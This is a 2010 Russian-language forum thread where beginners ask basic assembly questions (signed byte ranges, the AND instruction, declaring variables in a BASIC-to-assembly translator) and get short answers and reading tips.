03.05.2010, 10:29
Я в asm пока новичек поєтому не судите строго.
У меня такой вопрос как различают -128 и 128 в однобайтовом двоичном коде если они имеют одинаковій вид 1000 0000

_iks_
03.05.2010, 10:47
Диапазон там должен быть от -128 до 127, то есть число 128 там отсутствует.

>>serhio<<
03.05.2010, 22:39
Диапазон там должен быть от -128 до 127, то есть число 128 там отсутствует.
Почему если максимальное число в однобайтовом виде равно 255

B1TMAST3R
04.05.2010, 01:00
Почему если максимальное число в однобайтовом виде равно 255


Потому что есть "подтипы" переменных Signed и Unsigned. По вопросам дальнейшей поддержки обращайся к справочникам по переменным

St0nX
04.05.2010, 17:55
Я в asm пока новичек поєтому не судите строго.
У меня такой вопрос как различают -128 и 128 в однобайтовом двоичном коде если они имеют одинаковій вид 1000 0000
Стоит начать с изучение книг по асму. Обычно в самом начале(например Крупник "Изучаем ассемблер") расписывают как работает механизм хранения и работы с отрицательными числами. А так в кратце если операция дает отрицательное число то там предусмотрен флаг. А как чего откуда можно еще вот тут (http://itnews.3dn.ru/publ/48-1-0-564) например почитать.

swt1
11.05.2010, 12:12
Введение в машинный код
wtf? (http://wasm.ru/article.php?article=1022001)
tutorialZ (http://wasm.ru/publist.php?list=1)

megavolt2000
17.05.2010, 18:48
Разработка и реализация на ассемблере программы обмена данными между ЭВМ через последовательный интерфейс.
кто может сделать?

XimiK69
18.05.2010, 16:39
Задача. На вход подается текстовой документ на языке BASIC, на выходе должен получить код программы на языке ассемблер, т.е. написать некий однопроходный транслятор. Проблема при обработке переменных...Допустим на примере LET A = B+1 На ассемблере переменные A,B я считаю как "перемещаемые операнды", которые я должен изначально объявить в блоке "data?" A dd ? но я не знаю какие переменные мне встретятся и заранее их объявить не могу, сначала думал закодировать латинский 26 букв в виде массива на ассемблере, но соль в том, что переменные могут состоять из набора букв и цифр размера не больше 8, локально объявить эти переменные тоже не получается. Какие могут быть идеи по объявлению этих переменных в ассемблере. В ассемблере я дилетант, пришлось столкнуться с ним только при написании этой задачи, поэтому прошу совета . . .

~JiM~
22.05.2010, 15:16
вот у меня есть прога одна... на комп...
в проге есть форма для данных (текст)...
вот надо чтоб из этой формы то, что написал юзер, отсылалось мне на аську или мыло...
чё надо шоб эт сделать или кто сделает?)...

miako
24.05.2010, 02:10
Исходники проги есть?

wolmer
10.06.2010, 21:27
mov ebx, eax
and ebx, esi
Не могу понять что делает команда and

fluffylion
10.06.2010, 21:39
mov ebx, eax
and ebx, esi
Не могу понять что делает команда and

устанавливает биты в регистре ebx в 0, на основе маски, содержащейся в esi, т.е. в ebx сбросятся те биты, которые установлены в 0 в esi